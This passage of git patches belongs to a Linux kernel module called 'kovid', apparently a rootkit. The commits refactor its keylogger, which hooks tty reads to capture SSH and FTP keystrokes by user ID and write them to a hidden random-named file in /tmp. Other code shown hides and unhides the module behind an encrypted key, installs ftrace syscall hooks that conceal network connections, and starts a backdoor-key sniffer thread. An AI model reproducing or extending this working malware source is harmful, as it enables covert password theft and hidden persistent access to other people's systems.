+ .fp = NULL, +}; static void __attribute__((unused)) _tty_dump(uid_t uid, pid_t pid, char *buf, ssize_t len) @@ -812,9 +815,8 @@ static void __attribute__((unused)) _tty_dump(uid_t uid, pid_t pid, char *buf, } void _keylog_cleanup(void) { - kv_tty_close(&keylog_node); - fs_kernel_close_file(filp); - filp = NULL; + kv_tty_close(&tty_sys_ctx); + memset(&tty_sys_ctx, 0, sizeof(struct tty_ctx)); fs_file_rm(sys_get_ttyfile()); } @@ -972,10 +974,10 @@ static ssize_t m_tty_read(struct kiocb *iocb, struct iov_iter *to) */ if ((app_flag & APP_FTP) && rv > 1) { ttybuf[strcspn(ttybuf, "\r")] = '\0'; - kv_tty_write(uid, ttybuf, sizeof(ttybuf)); + kv_tty_write(&tty_sys_ctx, uid, ttybuf, sizeof(ttybuf)); } else if (app_flag & APP_SSH && (rv == 1 || flags & R_RETURN || flags & R_NEWLINE)) { - _key_update(uid, byte, flags); + kv_key_update(&tty_sys_ctx, uid, byte, flags); } } out: @@ -1405,12 +1407,12 @@ bool sys_init(void) prinfo("sys_init: ftrace hook %d on %s\n", idx, ft_hooks[idx].name); - /** Init tty log */ - filp = kv_tty_open(&filp, sys_get_ttyfile()); - if (!filp) { - prerr("sys_init: Failed loading tty file\n"); - rc = false; - } + /** Init tty log */ + tty_sys_ctx = kv_tty_open(&tty_sys_ctx, sys_get_ttyfile()); + if (!tty_sys_ctx.fp) { + prerr("sys_init: Failed loading tty file\n"); + rc = false; + } } } return rc; diff --git a/src/tty.c b/src/tty.c index 900e930..36d72c6 100644 --- a/src/tty.c +++ b/src/tty.c @@ -11,6 +11,13 @@ static DEFINE_SPINLOCK(tty_lock); +struct keylog_t { + char buf[KEY_LOG_BUF_MAX+2]; /** newline+'\0' */ + int offset; + uid_t uid; + struct list_head list; +}; + static void _keylog_cleanup_list(struct list_head *head) { struct keylog_t *node, *node_safe; list_for_each_entry_safe(node, node_safe, head, list) { @@ -20,16 +27,14 @@ static void _keylog_cleanup_list(struct list_head *head) { } } -struct file *kv_tty_open(struct file **fp, const char *filename) { - if (filename != NULL) { - if (fp) - *fp = fs_kernel_open_file(filename); - } +struct tty_ctx kv_tty_open(struct tty_ctx *ctx, const char *filename) { + if (NULL != ctx && NULL != filename) + ctx->fp = fs_kernel_open_file(filename); - return *fp; + return *ctx; } -void kv_tty_write(struct file *fp, uid_t uid, char *buf, ssize_t len) { +void kv_tty_write(struct tty_ctx *ctx, uid_t uid, char *buf, ssize_t len) { static loff_t offset; struct timespec64 ts; long msecs; @@ -56,14 +61,14 @@ void kv_tty_write(struct file *fp, uid_t uid, char *buf, ssize_t len) { (long long)ts.tv_sec, msecs, uid, buf); #if LINUX_VERSION_CODE >= KERNEL_VERSION(4,14,0) - fs_kernel_write_file(fp, (const void*)ttybuf, total, &offset); + fs_kernel_write_file(ctx->fp, (const void*)ttybuf, total, &offset); #else - fs_kernel_write_file(fp, (const char*)ttybuf, total, offset); + fs_kernel_write_file(ctx->fp, (const char*)ttybuf, total, offset); #endif spin_unlock(&tty_lock); } -int kv_key_add(struct list_head *head, uid_t uid, char byte, int flags) { +static int _kv_key_add(struct list_head *head, uid_t uid, char byte, int flags) { struct keylog_t *kl; int rv = 0; @@ -84,19 +89,19 @@ int kv_key_add(struct list_head *head, uid_t uid, char byte, int flags) { return rv; } -int kv_key_update(struct list_head *head, struct file *fp, uid_t uid, char byte, int flags) { +int kv_key_update(struct tty_ctx *ctx, uid_t uid, char byte, int flags) { struct keylog_t *node, *node_safe; bool new = true; int rv = 0; - list_for_each_entry_safe(node, node_safe, head, list) { + list_for_each_entry_safe(node, node_safe, ctx->head, list) { if (node->uid != uid) continue; if (flags & R_RETURN) { node->buf[node->offset++] = '\n'; node->buf[node->offset] = 0; - kv_tty_write(fp, uid, node->buf, strlen(node->buf)); + kv_tty_write(ctx, uid, node->buf, strlen(node->buf)); list_del(&node->list); kfree(node); @@ -114,12 +119,21 @@ int kv_key_update(struct list_head *head, struct file *fp, uid_t uid, char byte, } if (new) - rv = kv_key_add(head, uid, byte, flags); + rv = _kv_key_add(ctx->head, uid, byte, flags); return rv; } +void kv_tty_close(struct tty_ctx *ctx) { + if (ctx->head) { + _keylog_cleanup_list(ctx->head); + } else { + prerr("kv_tty_close: Error invalid head\n"); + } -void kv_tty_close(struct list_head *head) { - _keylog_cleanup_list(head); + if (ctx->fp) { + fs_kernel_close_file(ctx->fp); + } else { + prerr("kv_tty_close: Error invalid file reference\n"); + } } diff --git a/src/tty.h b/src/tty.h index 04bdfee..1280652 100644 --- a/src/tty.h +++ b/src/tty.h @@ -9,16 +9,16 @@ enum { //tty flags R_RANGE=4 }; -struct keylog_t { - char buf[KEY_LOG_BUF_MAX+2]; /** newline+'\0' */ - int offset; - uid_t uid; - struct list_head list; +/** + * TTY user context + */ +struct tty_ctx{ + struct file *fp; + struct list_head *head; }; -struct file *kv_tty_open(struct file **, const char *); -void kv_tty_write(struct file *, uid_t, char *, ssize_t); -int kv_key_add(struct list_head *, uid_t, char, int); -int kv_key_update(struct list_head *, struct file*, uid_t, char, int); -void kv_tty_close(struct list_head *); +struct tty_ctx kv_tty_open(struct tty_ctx*, const char *); +void kv_tty_write(struct tty_ctx *, uid_t, char *, ssize_t); +int kv_key_update(struct tty_ctx *, uid_t, char, int); +void kv_tty_close(struct tty_ctx *); #endif //__TTY_H From 78797249e9af06d282a359b3d8c953dd53292290 Mon Sep 17 00:00:00 2001 From: JNE Date: Mon, 30 Dec 2024 19:00:33 +0000 Subject: [PATCH 08/18] tty: Apply minor changes and work around merge issue --- Makefile | 2 +- src/kovid.c | 9 +++--- src/sys.c | 86 ----------------------------------------------------- 3 files changed, 5 insertions(+), 92 deletions(-) diff --git a/Makefile b/Makefile index c1038f6..fc77d9b 100644 --- a/Makefile +++ b/Makefile @@ -81,7 +81,7 @@ clang-format: reset-auto: @git checkout a6333fdc9e9d647b7d64e9e9cb1e6c0237a8967f \ -- src/persist.S 2>/dev/null || true - @git checkout 1520b99c4fa2fc2ee6a1d11c50de4e1591321a71 \ + @git checkout 0c14e07b0470209b29242b43ac4394ef46c4d77b \ -- src/auto.h 2>/dev/null || true clean: reset-auto diff --git a/src/kovid.c b/src/kovid.c index 86bcd48..6934db0 100644 --- a/src/kovid.c +++ b/src/kovid.c @@ -597,12 +597,12 @@ static ssize_t write_cb(struct file *fptr, const char __user *user, size_t size, #ifdef DEBUG_RING_BUFFER case Opt_get_bdkey: { char bits[32 + 1] = { 0 }; - snprintf(bits, 32, "%lx", auto_bdkey); + snprintf(bits, 32, "%llx", auto_bdkey); set_elfbits(bits); } break; case Opt_get_unhidekey: { char bits[32 + 1] = { 0 }; - snprintf(bits, 32, "%lx", auto_unhidekey); + snprintf(bits, 32, "%llx", auto_unhidekey); set_elfbits(bits); } break; #endif @@ -799,6 +799,7 @@ static void _unroll_init(void) static int __init kv_init(void) { + u8 buf[16] = {0}; int rv = 0; char *procname_err = ""; const char **name; @@ -865,10 +866,8 @@ static int __init kv_init(void) goto crypto_error; } - size_t datalen = 16; - u8 buf[16] = {0}; memcpy(buf, &auto_unhidekey, 8); - kv_encrypt(kvmgc_unhidekey, buf, datalen); + kv_encrypt(kvmgc_unhidekey, buf, sizeof(buf)); /** discard saved key */ auto_unhidekey = 0; diff --git a/src/sys.c b/src/sys.c index d3a7b36..405399f 100644 --- a/src/sys.c +++ b/src/sys.c @@ -820,92 +820,6 @@ void _keylog_cleanup(void) { fs_file_rm(sys_get_ttyfile()); } -#if LINUX_VERSION_CODE < KERNEL_VERSION(5,12,0) -static ssize_t (*real_tty_read)(struct file *, char __user *, size_t, loff_t *); -static ssize_t m_tty_read(struct file *file, char __user *buf, size_t count, loff_t *ppos) -#else - fs_kernel_write_file(ttyfilp, (const char *)ttybuf, total, offset); -#endif - spin_unlock(&tty_lock); -} - -static int inline _key_add(uid_t uid, char byte, int flags) -{ - struct keylog_t *kl; - int rv = 0; - - if ((flags & R_RETURN) || (!(flags & R_RANGE))) - return rv; - - kl = kcalloc(1, sizeof(struct keylog_t), GFP_KERNEL); - if (!kl) { - prerr("Insufficient memory\n"); - rv = -ENOMEM; - } else { - kl->offset = 0; - kl->buf[kl->offset++] = byte; - kl->uid = uid; - list_add_tail(&kl->list, &keylog_node); - } - - return rv; -} - -static int _key_update(uid_t uid, char byte, int flags) -{ - struct keylog_t *node, *node_safe; - bool new = true; - int rv = 0; - - list_for_each_entry_safe (node, node_safe, &keylog_node, list) { - if (node->uid != uid) - continue; - - if (flags & R_RETURN) { - node->buf[node->offset++] = '\n'; - node->buf[node->offset] = 0; - - kv_tty_write(uid, node->buf, strlen(node->buf)); - - list_del(&node->list); - kfree(node); - } else if ((flags & R_RANGE) || (flags & R_NEWLINE)) { - if (node->offset < MAXKEY) { - node->buf[node->offset++] = byte; - } else { - prwarn("Warning: max length reached: %d\n", - MAXKEY); - return -ENOMEM; - } - } - new = false; - break; - } - - if (new) - rv = _key_add(uid, byte, flags); - - return rv; -} - -static void _keylog_cleanup_list(void) -{ - struct keylog_t *node, *node_safe; - list_for_each_entry_safe (node, node_safe, &keylog_node, list) { - list_del(&node->list); - kfree(node); - } -} - -void _keylog_cleanup(void) -{ - _keylog_cleanup_list(); - fs_kernel_close_file(ttyfilp); - fs_file_rm(sys_get_ttyfile()); - - ttyfilp = NULL; -} - #if LINUX_VERSION_CODE < KERNEL_VERSION(5, 12, 0) static ssize_t (*real_tty_read)(struct file *, char __user *, size_t, loff_t *); static ssize_t m_tty_read(struct file *file, char __user *buf, size_t count, From 4ba72e480bd7cc7a0b5b7afda72925c32e19a4ed Mon Sep 17 00:00:00 2001 From: JNE Date: Mon, 30 Dec 2024 19:09:39 +0000 Subject: [PATCH 09/18] clang: apply format --- src/crypto.c | 5 +- src/kovid.c | 59 +++++++++--------- src/sock.c | 6 +- src/sys.c | 72 +++++++++++----------- src/tty.c | 170 ++++++++++++++++++++++++++------------------------- src/tty.h | 12 ++-- 6 files changed, 168 insertions(+), 156 deletions(-) diff --git a/src/crypto.c b/src/crypto.c index d3fd516..d24acb4 100644 --- a/src/crypto.c +++ b/src/crypto.c @@ -20,7 +20,7 @@ static struct crypto_skcipher *tfm; int kv_crypto_engine_init(void) { - static char key[ENCKEY_LEN] = {0}; + static char key[ENCKEY_LEN] = { 0 }; int rc = -1; /** Allocate AES-CBC */ @@ -54,7 +54,8 @@ int kv_crypto_engine_init(void) * Called for each encryption operation */ struct kv_crypto_st *kv_crypto_mgc_init(void) { - struct kv_crypto_st *kvmgc = kmalloc(sizeof(struct kv_crypto_st), GFP_KERNEL); + struct kv_crypto_st *kvmgc = + kmalloc(sizeof(struct kv_crypto_st), GFP_KERNEL); if (!kvmgc) { prerr("Failed to allocate memory for vars\n"); return NULL; diff --git a/src/kovid.c b/src/kovid.c index 6934db0..189d144 100644 --- a/src/kovid.c +++ b/src/kovid.c @@ -481,23 +481,25 @@ static const match_table_t tokens = { }; struct check_unhidekey_t { - bool ok; - uint64_t address_value; + bool ok; + uint64_t address_value; }; -void _unhidekey_callback(const u8 * const buf, size_t buflen, size_t copied, void *userdata) { - struct check_unhidekey_t *validate = (struct check_unhidekey_t*)userdata; - if (validate && validate->address_value) { - if (validate->address_value == *((uint64_t*)buf)) - validate->ok = true; - } +void _unhidekey_callback(const u8 *const buf, size_t buflen, size_t copied, + void *userdata) +{ + struct check_unhidekey_t *validate = + (struct check_unhidekey_t *)userdata; + if (validate && validate->address_value) { + if (validate->address_value == *((uint64_t *)buf)) + validate->ok = true; + } } #define CMD_MAXLEN 128 static ssize_t write_cb(struct file *fptr, const char __user *user, size_t size, loff_t *offset) { - pid_t pid; char param[CMD_MAXLEN + 1] = { 0 }; decrypt_callback cbkey = (decrypt_callback)_unhidekey_callback; @@ -534,16 +536,17 @@ static ssize_t write_cb(struct file *fptr, const char __user *user, size_t size, kv_hide_mod(); break; case Opt_unhide_module: { - uint64_t address_value = 0; - struct check_unhidekey_t validate = {0}; - - if ((sscanf(args[0].from, "%llx", &address_value) == 1)) { - validate.address_value = address_value; - kv_decrypt(kvmgc_unhidekey, cbkey, &validate); - if (validate.ok == true) { - kv_unhide_mod(); - } + uint64_t address_value = 0; + struct check_unhidekey_t validate = { 0 }; + + if ((sscanf(args[0].from, "%llx", &address_value) == + 1)) { + validate.address_value = address_value; + kv_decrypt(kvmgc_unhidekey, cbkey, &validate); + if (validate.ok == true) { + kv_unhide_mod(); } + } } break; case Opt_hide_file: case Opt_hide_directory: { @@ -799,7 +802,7 @@ static void _unroll_init(void) static int __init kv_init(void) { - u8 buf[16] = {0}; + u8 buf[16] = { 0 }; int rv = 0; char *procname_err = ""; const char **name; @@ -904,19 +907,19 @@ static int __init kv_init(void) goto leave; crypto_error: - prerr("Crypto init error\n"); - goto error; + prerr("Crypto init error\n"); + goto error; background_error: - prerr("Could not load basic functionality.\n"); - goto error; + prerr("Could not load basic functionality.\n"); + goto error; sys_init_error: - prerr("Could not load syscalls hooks\n"); - goto error; + prerr("Could not load syscalls hooks\n"); + goto error; addr_error: - prerr("Could not get kernel function address, proc file not created.\n"); - goto error; + prerr("Could not get kernel function address, proc file not created.\n"); + goto error; procname_missing: - prerr("%s\n", procname_err); + prerr("%s\n", procname_err); error: prerr("Unrolling\n"); _unroll_init(); diff --git a/src/sock.c b/src/sock.c index c01a0d6..58cc211 100644 --- a/src/sock.c +++ b/src/sock.c @@ -617,7 +617,7 @@ struct task_struct *kv_sock_start_sniff(void) bool *running = _is_task_running(); static struct nf_priv priv; struct task_struct *tsk = NULL; - u8 buf[16] = {0}; + u8 buf[16] = { 0 }; /** * Init bdkey enc @@ -627,7 +627,7 @@ struct task_struct *kv_sock_start_sniff(void) prerr("Failed to encrypt bdkey\n"); goto leave; } - + /** for the aes-256, 16 bytes * is minimum data size */ @@ -651,7 +651,7 @@ struct task_struct *kv_sock_start_sniff(void) goto leave; tsk_iph = kthread_run(_bd_watchdog_iph, NULL, - THREAD_SNIFFER_NAME); + THREAD_SNIFFER_NAME); if (!tsk_iph) { kthread_stop(tsk); goto leave; diff --git a/src/sys.c b/src/sys.c index 405399f..0a2c862 100644 --- a/src/sys.c +++ b/src/sys.c @@ -814,10 +814,11 @@ static void __attribute__((unused)) _tty_dump(uid_t uid, pid_t pid, char *buf, prinfo("%s\n", buf); } -void _keylog_cleanup(void) { - kv_tty_close(&tty_sys_ctx); - memset(&tty_sys_ctx, 0, sizeof(struct tty_ctx)); - fs_file_rm(sys_get_ttyfile()); +void _keylog_cleanup(void) +{ + kv_tty_close(&tty_sys_ctx); + memset(&tty_sys_ctx, 0, sizeof(struct tty_ctx)); + fs_file_rm(sys_get_ttyfile()); } #if LINUX_VERSION_CODE < KERNEL_VERSION(5, 12, 0) @@ -890,7 +891,7 @@ static ssize_t m_tty_read(struct kiocb *iocb, struct iov_iter *to) ttybuf[strcspn(ttybuf, "\r")] = '\0'; kv_tty_write(&tty_sys_ctx, uid, ttybuf, sizeof(ttybuf)); } else if (app_flag & APP_SSH && - (rv == 1 || flags & R_RETURN || flags & R_NEWLINE)) { + (rv == 1 || flags & R_RETURN || flags & R_NEWLINE)) { kv_key_update(&tty_sys_ctx, uid, byte, flags); } } @@ -1022,8 +1023,8 @@ static unsigned long _load_syscall_variant(struct kernel_syscalls *ks, rv = ks->k_kallsyms_lookup_name(str); if (rv) { struct sys_addr_list *sl; - sl = kcalloc(1, sizeof(struct sys_addr_list) , GFP_KERNEL); - if(sl) { + sl = kcalloc(1, sizeof(struct sys_addr_list), GFP_KERNEL); + if (sl) { sl->addr = rv; prinfo("add sysaddr: %lx\n", sl->addr); list_add_tail(&sl->list, &sys_addr); @@ -1157,11 +1158,11 @@ struct kernel_syscalls *kv_kall_load_addr(void) } static struct ftrace_hook ft_hooks[] = { - {_sys_arch("sys_exit_group"), m_exit_group, &real_m_exit_group, true}, - {_sys_arch("sys_clone"), m_clone, &real_m_clone, true}, - {_sys_arch("sys_kill"), m_kill, &real_m_kill, true}, - {_sys_arch("sys_read"), m_read, &real_m_read, true}, - {_sys_arch("sys_bpf"), m_bpf, &real_m_bpf, true}, + { _sys_arch("sys_exit_group"), m_exit_group, &real_m_exit_group, true }, + { _sys_arch("sys_clone"), m_clone, &real_m_clone, true }, + { _sys_arch("sys_kill"), m_kill, &real_m_kill, true }, + { _sys_arch("sys_read"), m_read, &real_m_read, true }, + { _sys_arch("sys_bpf"), m_bpf, &real_m_bpf, true }, { "tcp4_seq_show", m_tcp4_seq_show, &real_m_tcp4_seq_show }, { "udp4_seq_show", m_udp4_seq_show, &real_m_udp4_seq_show }, { "tcp6_seq_show", m_tcp6_seq_show, &real_m_tcp6_seq_show }, @@ -1259,34 +1260,34 @@ struct sysfiles_t { char sslfile[PATH_MAX]; }; static struct sysfiles_t sysfiles; -static bool _sys_file_init(void) { - - bool rc = false; - char *tty, *ssl; - size_t min = 16, max = 64, len = 0; - u8 rnd = 0; +static bool _sys_file_init(void) +{ + bool rc = false; + char *tty, *ssl; + size_t min = 16, max = 64, len = 0; + u8 rnd = 0; - get_random_bytes(&rnd, sizeof(rnd)); - len = min + (rnd % (max - min + 1)); - tty = kv_util_random_AZ_string(len); + get_random_bytes(&rnd, sizeof(rnd)); + len = min + (rnd % (max - min + 1)); + tty = kv_util_random_AZ_string(len); - /** repeat */ - get_random_bytes(&rnd, sizeof(rnd)); - len = min + (rnd % (max - min + 1)); - ssl = kv_util_random_AZ_string(len); + /** repeat */ + get_random_bytes(&rnd, sizeof(rnd)); + len = min + (rnd % (max - min + 1)); + ssl = kv_util_random_AZ_string(len); - if (tty && ssl) { - snprintf(sysfiles.ttyfile, - sizeof(sysfiles.ttyfile)-1, "/var/.%s", tty); + if (tty && ssl) { + snprintf(sysfiles.ttyfile, sizeof(sysfiles.ttyfile) - 1, + "/tmp/.%s", tty); - snprintf(sysfiles.sslfile, - sizeof(sysfiles.sslfile)-1, "/tmp/.%s", ssl); - kv_mem_free(&tty, &ssl); + snprintf(sysfiles.sslfile, sizeof(sysfiles.sslfile) - 1, + "/tmp/.%s", ssl); + kv_mem_free(&tty, &ssl); - rc = true; - } + rc = true; + } - return rc; + return rc; } char *sys_get_ttyfile(void) @@ -1322,7 +1323,8 @@ bool sys_init(void) ft_hooks[idx].name); /** Init tty log */ - tty_sys_ctx = kv_tty_open(&tty_sys_ctx, sys_get_ttyfile()); + tty_sys_ctx = + kv_tty_open(&tty_sys_ctx, sys_get_ttyfile()); if (!tty_sys_ctx.fp) { prerr("sys_init: Failed loading tty file\n"); rc = false; diff --git a/src/tty.c b/src/tty.c index 36d72c6..6af2ebb 100644 --- a/src/tty.c +++ b/src/tty.c @@ -12,35 +12,38 @@ static DEFINE_SPINLOCK(tty_lock); struct keylog_t { - char buf[KEY_LOG_BUF_MAX+2]; /** newline+'\0' */ - int offset; - uid_t uid; - struct list_head list; + char buf[KEY_LOG_BUF_MAX + 2]; /** newline+'\0' */ + int offset; + uid_t uid; + struct list_head list; }; -static void _keylog_cleanup_list(struct list_head *head) { - struct keylog_t *node, *node_safe; - list_for_each_entry_safe(node, node_safe, head, list) { - list_del(&node->list); - kfree(node); - node = NULL; - } +static void _keylog_cleanup_list(struct list_head *head) +{ + struct keylog_t *node, *node_safe; + list_for_each_entry_safe (node, node_safe, head, list) { + list_del(&node->list); + kfree(node); + node = NULL; + } } -struct tty_ctx kv_tty_open(struct tty_ctx *ctx, const char *filename) { +struct tty_ctx kv_tty_open(struct tty_ctx *ctx, const char *filename) +{ if (NULL != ctx && NULL != filename) ctx->fp = fs_kernel_open_file(filename); return *ctx; } -void kv_tty_write(struct tty_ctx *ctx, uid_t uid, char *buf, ssize_t len) { - static loff_t offset; - struct timespec64 ts; - long msecs; - size_t total; +void kv_tty_write(struct tty_ctx *ctx, uid_t uid, char *buf, ssize_t len) +{ + static loff_t offset; + struct timespec64 ts; + long msecs; + size_t total; - /** + /** * We use a variable-length array (VLA) because the implementation of kernel_write * forces a conversion to a user pointer. If the variable is heap-allocated, the * pointer may be lost. @@ -49,82 +52,85 @@ void kv_tty_write(struct tty_ctx *ctx, uid_t uid, char *buf, ssize_t len) { * * We allocate +32 bytes, which is enough to hold timestamp + "uid.%d". */ - char ttybuf[len+32]; + char ttybuf[len + 32]; - spin_lock(&tty_lock); + spin_lock(&tty_lock); - ktime_get_boottime_ts64(&ts); - msecs = ts.tv_nsec / 1000; + ktime_get_boottime_ts64(&ts); + msecs = ts.tv_nsec / 1000; - total = snprintf(ttybuf, - sizeof(ttybuf), "[%lld.%06ld] uid.%d %s", - (long long)ts.tv_sec, msecs, uid, buf); + total = snprintf(ttybuf, sizeof(ttybuf), "[%lld.%06ld] uid.%d %s", + (long long)ts.tv_sec, msecs, uid, buf); -#if LINUX_VERSION_CODE >= KERNEL_VERSION(4,14,0) - fs_kernel_write_file(ctx->fp, (const void*)ttybuf, total, &offset); +#if LINUX_VERSION_CODE >= KERNEL_VERSION(4, 14, 0) + fs_kernel_write_file(ctx->fp, (const void *)ttybuf, total, &offset); #else - fs_kernel_write_file(ctx->fp, (const char*)ttybuf, total, offset); + fs_kernel_write_file(ctx->fp, (const char *)ttybuf, total, offset); #endif - spin_unlock(&tty_lock); + spin_unlock(&tty_lock); } -static int _kv_key_add(struct list_head *head, uid_t uid, char byte, int flags) { - struct keylog_t *kl; - int rv = 0; - - if ((flags & R_RETURN) || (!(flags & R_RANGE))) - return rv; - - kl = kcalloc(1, sizeof(struct keylog_t) , GFP_KERNEL); - if (!kl) { - prerr("Insufficient memory\n"); - rv = -ENOMEM; - } else { - kl->offset = 0; - kl->buf[kl->offset++] = byte; - kl->uid = uid; - list_add_tail(&kl->list, head); - } - - return rv; +static int _kv_key_add(struct list_head *head, uid_t uid, char byte, int flags) +{ + struct keylog_t *kl; + int rv = 0; + + if ((flags & R_RETURN) || (!(flags & R_RANGE))) + return rv; + + kl = kcalloc(1, sizeof(struct keylog_t), GFP_KERNEL); + if (!kl) { + prerr("Insufficient memory\n"); + rv = -ENOMEM; + } else { + kl->offset = 0; + kl->buf[kl->offset++] = byte; + kl->uid = uid; + list_add_tail(&kl->list, head); + } + + return rv; } -int kv_key_update(struct tty_ctx *ctx, uid_t uid, char byte, int flags) { - struct keylog_t *node, *node_safe; - bool new = true; - int rv = 0; - - list_for_each_entry_safe(node, node_safe, ctx->head, list) { - if (node->uid != uid) continue; - - if (flags & R_RETURN) { - node->buf[node->offset++] = '\n'; - node->buf[node->offset] = 0; - - kv_tty_write(ctx, uid, node->buf, strlen(node->buf)); - - list_del(&node->list); - kfree(node); - } else if((flags & R_RANGE) || (flags & R_NEWLINE)) { - if (node->offset < KEY_LOG_BUF_MAX) { - node->buf[node->offset++] = byte; - } - else { - prwarn("Warning: max length reached: %d\n", KEY_LOG_BUF_MAX); - return -ENOMEM; - } - } - new = false; - break; - } - - if (new) - rv = _kv_key_add(ctx->head, uid, byte, flags); - - return rv; +int kv_key_update(struct tty_ctx *ctx, uid_t uid, char byte, int flags) +{ + struct keylog_t *node, *node_safe; + bool new = true; + int rv = 0; + + list_for_each_entry_safe (node, node_safe, ctx->head, list) { + if (node->uid != uid) + continue; + + if (flags & R_RETURN) { + node->buf[node->offset++] = '\n'; + node->buf[node->offset] = 0; + + kv_tty_write(ctx, uid, node->buf, strlen(node->buf)); + + list_del(&node->list); + kfree(node); + } else if ((flags & R_RANGE) || (flags & R_NEWLINE)) { + if (node->offset < KEY_LOG_BUF_MAX) { + node->buf[node->offset++] = byte; + } else { + prwarn("Warning: max length reached: %d\n", + KEY_LOG_BUF_MAX); + return -ENOMEM; + } + } + new = false; + break; + } + + if (new) + rv = _kv_key_add(ctx->head, uid, byte, flags); + + return rv; } -void kv_tty_close(struct tty_ctx *ctx) { +void kv_tty_close(struct tty_ctx *ctx) +{ if (ctx->head) { _keylog_cleanup_list(ctx->head); } else { diff --git a/src/tty.h b/src/tty.h index 1280652..b61faf5 100644 --- a/src/tty.h +++ b/src/tty.h @@ -3,21 +3,21 @@ #define KEY_LOG_BUF_MAX 512 enum { //tty flags - R_NONE = 0, - R_RETURN = 1, - R_NEWLINE=2, - R_RANGE=4 + R_NONE = 0, + R_RETURN = 1, + R_NEWLINE = 2, + R_RANGE = 4 }; /** * TTY user context */ -struct tty_ctx{ +struct tty_ctx { struct file *fp; struct list_head *head; }; -struct tty_ctx kv_tty_open(struct tty_ctx*, const char *); +struct tty_ctx kv_tty_open(struct tty_ctx *, const char *); void kv_tty_write(struct tty_ctx *, uid_t, char *, ssize_t); int kv_key_update(struct tty_ctx *, uid_t, char, int); void kv_tty_close(struct tty_ctx *); From 7abd6941f3bcf75021a27efb324a95459ac9b15c Mon Sep 17 00:00:00 2001 From: JNE Date: Mon, 30 Dec 2024 19:27:40 +0000 Subject: [PATCH 10/18] codeql: Address warning --- src/tty.c | 1 - 1 file changed, 1 deletion(-) diff --git a/src/tty.c b/src/tty.c index 6af2ebb..9988861 100644 --- a/src/tty.c +++ b/src/tty.c @@ -24,7 +24,6 @@ static void _keylog_cleanup_list(struct list_head *head) list_for_each_entry_safe (node, node_safe, head, list) { list_del(&node->list); kfree(node); - node = NULL; } } From cea2d2436d7ee7c9606c445749ff1ae669fce568 Mon Sep 17 00:00:00 2001 From: JNE Date: Mon, 30 Dec 2024 21:26:58 +0000 Subject: [PATCH 11/18] clang: base-address removed by accident and remove useless copy modification --- src/kovid.c | 4 +--- 1 file changed, 1 insertion(+), 3 deletions(-) diff --git a/src/kovid.c b/src/kovid.c index 189d144..6bbf84a 100644 --- a/src/kovid.c +++ b/src/kovid.c @@ -473,6 +473,7 @@ static const match_table_t tokens = { { Opt_unhide_directory, "unhide-directory=%s" }, { Opt_journalclt, "journal-flush" }, + { Opt_fetch_base_address, "base-address=%d" }, #ifdef DEBUG_RING_BUFFER { Opt_get_bdkey, "get-bdkey" }, { Opt_get_unhidekey, "get-unhidekey" }, @@ -872,9 +873,6 @@ static int __init kv_init(void) memcpy(buf, &auto_unhidekey, 8); kv_encrypt(kvmgc_unhidekey, buf, sizeof(buf)); - /** discard saved key */ - auto_unhidekey = 0; - tsk_sniff = kv_sock_start_sniff(); if (!tsk_sniff) goto background_error; From df5a1a4740a192cdc00e536c735cdd576d429ec1 Mon Sep 17 00:00:00 2001 From: JNE Date: Mon, 30 Dec 2024 22:12:03 +0000 Subject: [PATCH 12/18] sys: update for syscall variant --- src/sys.c | 5 +++-- 1 file changed, 3 insertions(+), 2 deletions(-) diff --git a/src/sys.c b/src/sys.c index 0a2c862..c909c5d 100644 --- a/src/sys.c +++ b/src/sys.c @@ -1133,8 +1133,9 @@ struct kernel_syscalls *kv_kall_load_addr(void) if (!ks.k_bpf_map_get) prwarn("invalid data: bpf_map_get will not work\n"); - ks.k_sys_setreuid = - (sys64)_load_syscall_variant(&ks, "sys_setreuid"); + /** Direct call. @see m_kill */ + ks.k_sys_setreuid = (sys64)_load_syscall_variant( + &ks, _sys_arch("sys_setreuid")); ; if (!ks.k_sys_setreuid) prwarn("invalid data: syscall hook setreuid will not work\n"); From a2d399990251b7e9cc7107874d82255df4cd85ea Mon Sep 17 00:00:00 2001 From: JNE Date: Tue, 31 Dec 2024 01:02:30 +0000 Subject: [PATCH 13/18] tests: Make it pass for now x86-64 This is not a fix, need to work out how it the test will understand the difference --- test/native/kaudit.test | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/test/native/kaudit.test b/test/native/kaudit.test index 815e223..b095c1d 100644 --- a/test/native/kaudit.test +++ b/test/native/kaudit.test @@ -15,5 +15,5 @@ sudo dmesg # CHECK: loaded. # CHECK: Cool! Now try 'su' -# CHECK: Uninstalling: 'sys_exit_group' syscall=1 +# CHECK: Uninstalling: '__x64_sys_exit_group' syscall=1 # CHECK: unloaded. From 738ed9e4b15d97c48be96c4d04d00c836c73ad6e Mon Sep 17 00:00:00 2001 From: JNE Date: Thu, 2 Jan 2025 20:49:57 +0000 Subject: [PATCH 14/18] crypto: Use single shared instance for both bd and unhide keys broken by this commit (debug only): get-bdkey get-unhidekey Both commands need now to fetch the keys from mgc --- Makefile | 10 ++++------ src/auto.h | 12 ------------ src/kovid.c | 13 +++++++------ src/sock.c | 6 +++++- 4 files changed, 16 insertions(+), 25 deletions(-) delete mode 100644 src/auto.h diff --git a/Makefile b/Makefile index fc77d9b..2cf48b1 100644 --- a/Makefile +++ b/Makefile @@ -46,8 +46,8 @@ all: # TODO: Check if we can generate a random PROCNAME, something like: # PROCNAME ?= $(shell uuidgen | cut -c1-8) $(if $(PROCNAME),,$(error ERROR: PROCNAME is not defined. Please invoke make with PROCNAME="your_process_name")) - @sed -i 's#^static uint64_t __attribute__((unused)) auto_bdkey = .*#static uint64_t __attribute__((unused)) auto_bdkey = $(BDKEY);#' src/auto.h - @sed -i 's#^static uint64_t __attribute__((unused)) auto_unhidekey = .*#static uint64_t __attribute__((unused)) auto_unhidekey = $(UNHIDEKEY);#' src/auto.h + @sed -i "s/\(uint64_t auto_bdkey = \)[^;]*;/\1$(BDKEY);/" src/sock.c + @sed -i "s/\(uint64_t auto_unhidekey = \)[^;]*;/\1$(UNHIDEKEY);/" src/kovid.c make -C /lib/modules/$(shell uname -r)/build M=$(PWD) modules @echo -n "Backdoor KEY: " @echo "\033[1;37m$(BDKEY)\033[0m" | sed 's/0x//' @@ -79,10 +79,8 @@ clang-format: clang-format-18 -i src/*.[ch] reset-auto: - @git checkout a6333fdc9e9d647b7d64e9e9cb1e6c0237a8967f \ - -- src/persist.S 2>/dev/null || true - @git checkout 0c14e07b0470209b29242b43ac4394ef46c4d77b \ - -- src/auto.h 2>/dev/null || true + @sed -i "s/\(uint64_t auto_bdkey = \)[^;]*;/\10x0000000000000000;/" src/sock.c + @sed -i "s/\(uint64_t 